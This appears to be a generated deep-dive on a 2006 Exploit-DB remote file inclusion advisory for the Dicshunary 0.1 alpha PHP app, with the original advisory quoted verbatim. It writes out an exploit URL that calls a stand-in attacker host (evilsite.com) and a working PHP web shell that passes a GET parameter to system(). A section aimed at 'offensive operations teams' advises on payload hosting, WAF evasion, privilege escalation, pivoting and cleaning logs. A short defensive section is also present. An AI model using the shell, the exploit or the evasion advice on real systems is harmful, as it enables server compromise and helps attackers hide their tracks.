Understanding Dicshunary 0.1a RFI: A Historical Exploit Deep Dive

What this paper is

This paper details a Remote File Inclusion (RFI) vulnerability found in version 0.1 alpha of the Dicshunary web application. The exploit allows an attacker to include and execute arbitrary files from a remote server, effectively leading to code execution on the target web server.

Simple technical breakdown

The vulnerability lies in how the check_status.php script handles a variable named dicshunary_root_path. Instead of validating this path, the script directly uses it in an include_once function. This function is designed to include PHP files. By providing a URL to a malicious PHP file hosted on an attacker-controlled server as the value for dicshunary_root_path, the target server will download and execute that malicious file.

Complete code and payload walkthrough

The paper highlights a specific vulnerable code snippet and the corresponding exploit.

Vulnerable Code Snippet:

include_once($dicshunary_root_path.'common.inc');

• include_once(): This is a PHP construct. It takes a string argument, which is expected to be a file path. It then includes and evaluates the specified file. The _once part means that if the file has already been included, it won't be included again.
• $dicshunary_root_path: This is a PHP variable. In the context of the vulnerability, this variable is expected to contain a path to the root directory of the Dicshunary application.
• 'common.inc': This is a string literal representing a file name.

How it's vulnerable: The include_once function, when used with a variable that is not properly sanitized, can be tricked into including files from remote locations if PHP's allow_url_include directive is enabled. The exploit leverages this by making $dicshunary_root_path point to a remote URL.

Exploit:

http://[target]/[path]/check_status.php?dicshunary_root_path=http://evilsite.com/shell?

• http://[target]/[path]/check_status.php: This is the URL of the vulnerable script on the target web server.
• ?: This signifies the start of query parameters.
• dicshunary_root_path=: This is the vulnerable parameter.
• http://evilsite.com/shell?: This is the attacker-controlled URL.
  • http://evilsite.com/: The attacker's domain hosting the malicious file.
  • /shell: The name of the malicious file (likely a PHP script).
  • ?: This trailing question mark is interesting. In some PHP configurations or when dealing with URL parsing, it might be used to ensure that the common.inc part of the include_once statement is effectively ignored or handled in a way that the remote file is still processed correctly. It could also be a way to bypass certain basic filtering if the server expects a file name and not a full URL with query parameters.

Payload Explanation:

The paper doesn't explicitly provide the content of http://evilsite.com/shell. However, for an RFI exploit like this, the shell file would typically be a PHP script designed to provide remote command execution.

A common structure for such a PHP shell would be:

<?php
// Basic PHP Web Shell
// Allows execution of system commands

if(isset($_GET['cmd'])){
    echo '<pre>';
    $cmd = ($_GET['cmd']);
    system($cmd);
    echo '</pre>';
    die;
}
?>

• <?php ... ?>: Standard PHP tags.
• if(isset($_GET['cmd'])): Checks if a GET parameter named cmd is present in the request.
• $cmd = ($_GET['cmd']);: If cmd is present, its value is assigned to the $cmd variable.
• system($cmd);: This is the core function. It executes the command passed in $cmd on the server's operating system and outputs the result.
• echo '<pre>'; ... echo '</pre>';: Wraps the output in <pre> tags for better formatting in a web browser.
• die;: Stops further script execution.

Mapping:

• include_once($dicshunary_root_path.'common.inc'); -> Vulnerable code block: Directly includes a file whose path is controlled by user input.
• http://[target]/[path]/check_status.php?dicshunary_root_path=http://evilsite.com/shell? -> Exploit URL: The crafted request to trigger the RFI.
• http://evilsite.com/shell -> Remote payload location: The attacker-hosted file containing malicious code.
• (Assumed) shell PHP script -> Payload execution: Provides remote command execution capabilities on the target.

Practical details for offensive operations teams

• Required Access Level: Typically requires anonymous or low-privileged access to the web application to send HTTP requests.
• Lab Preconditions:
  • A target web server running Dicshunary 0.1 alpha (or a similarly vulnerable version).
  • The target server must have PHP installed and configured with allow_url_include = On (or allow_url_fopen = On if the exploit relies on file wrappers like php://input or php://filter, though this specific RFI uses include_once which directly benefits from allow_url_include).
  • An attacker-controlled server (e.g., a VPS) capable of hosting the malicious PHP shell and serving it over HTTP/HTTPS.
  • A network path from the target server to the attacker's server.
• Tooling Assumptions:
  • A web browser or an HTTP client (like curl, wget) to send the exploit request.
  • A web server on the attacker's side (e.g., Apache, Nginx, Python's http.server) to host the payload.
  • A text editor to create the malicious PHP shell.
• Execution Pitfalls:
  • allow_url_include is Off: This is the most common and significant pitfall. If this PHP directive is disabled, the include_once function will not fetch and execute remote files.
  • Firewall/Network Restrictions: The target server might be prevented from making outbound HTTP connections to the attacker's server.
  • Web Application Firewall (WAF): A WAF might detect and block the malicious URL pattern.
  • Incorrect Path/URL: Typos in the target URL, path to check_status.php, or the attacker's payload URL will cause the exploit to fail.
  • Payload Not Found: If the shell file is not present at the specified URL on the attacker's server, the include_once will likely result in a PHP warning or error, but not execution.
  • Trailing Slash/Query String Issues: The exact behavior of include_once with unusual URL structures can vary slightly between PHP versions and configurations. The trailing ? in the exploit might be crucial or irrelevant depending on the server's parsing.
  • PHP Version Differences: Older PHP versions might have different default configurations or behaviors.
• Tradecraft Considerations:
  • Reconnaissance: Identify the target application and its version. Probe for the existence of check_status.php and its parameters.
  • Payload Hosting: Ensure the attacker's server is stable and accessible. Use a domain that doesn't immediately raise suspicion if possible.
  • Obfuscation: If basic WAFs are encountered, consider encoding the payload or using more complex URL structures if the RFI allows it.
  • Post-Exploitation: Once a shell is established, immediately attempt to escalate privileges or pivot if that is the objective. Clean up logs if necessary.

Where this was used and when

• Context: This exploit targets the Dicshunary 0.1 alpha web application, which was likely used for managing dictionaries or similar content.
• Approximate Year: Published in 2006. Exploits of this nature were common in the mid-2000s as web application security practices were less mature.

Defensive lessons for modern teams

• Input Validation is Paramount: Never trust user-supplied input, especially when it's used in file operations or dynamic code execution. Sanitize and validate all external data.
• Disable allow_url_include: This PHP directive should be disabled (Off) in production environments. It's a significant security risk.
• Disable allow_url_fopen (if not strictly needed): While not directly used by include_once, allow_url_fopen enables other dangerous file wrapper functionalities that can be abused. Disable it if your application doesn't require it.
• Use Whitelisting for File Inclusion: If file inclusion is necessary, use a strict whitelist of allowed files or directories. Do not rely on blacklisting.
• Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block known malicious patterns, including RFI attempts.
• Regular Patching and Updates: Keep web applications and their underlying frameworks/languages (like PHP) updated to the latest secure versions.
• Least Privilege: Run web servers and applications with the minimum necessary privileges to limit the impact of a compromise.
• Secure Coding Practices: Train developers on secure coding principles, including avoiding insecure functions and proper input handling.

ASCII visual (if applicable)

+---------------------+       +---------------------+
| Attacker's Server   |       | Target Web Server   |
| (evilsite.com)      |       | (target.com)        |
|                     |       |                     |
| +-----------------+ |       | +-----------------+ |
| | Malicious PHP   | |       | | check_status.php| |
| | Shell (shell)   | | ----> | | (Vulnerable)    | |
| +-----------------+ |       | |                 | |
|                     |       | | include_once(   | |
+---------------------+       | | $dicshunary_root| |
                              | |_path.'common.inc')| |
                              | +-----------------+ |
                              +---------------------+
                                      |
                                      | HTTP Request
                                      | (Exploit URL)
                                      v
                              +-----------------+
                              | PHP Interpreter |
                              | (on Target)     |
                              |                 |
                              | Fetches and     |
                              | Executes        |
                              | 'shell' from    |
                              | evilsite.com    |
                              +-----------------+

Source references

• Paper ID: 2808
• Paper Title: Dicshunary 0.1a - 'check_status.php' Remote File Inclusion
• Author: DeltahackingTEAM
• Published: 2006-11-17
• Keywords: PHP, webapps
• Paper URL: https://www.exploit-db.com/papers/2808
• Raw URL: https://www.exploit-db.com/raw/2808

Original Exploit-DB Content (Verbatim)

**********************************************************************************************************
                                              WwW.Deltahacking.NeT (Priv8  Site)
                                              WwW.Deltahacking.Ir    (Public Site)
**********************************************************************************************************

* Portal Name :dicshunary 0.1 alpha

* Class = Remote File Inclusion ;
 
* Download =http://puzzle.dl.sourceforge.net/sourceforge/dicshunary/dicshunary_0.1alpha.tar.gz

* Found by = DeltahackingTEAM

* User In Delta Team (TAnha & Dr.Pantagon )

--------------------------------------------------------------------------------------------

--------------
- Vulnerable Code

include_once($dicshunary_root_path.'common.inc');

++++++++++++++++++++++++++++++++++++++++++++

- Exploit:


    http://[target]/[path]/check_status.php?dicshunary_root_path=http://evilsite.com/shell?


--------------------------------------------------------------------------------------------

--------------

SP TNX : Tanha, Dr.Trojan , Hiv++ , D_7j ,Vpc,

**********************************************************************************************************

# milw0rm.com [2006-11-17]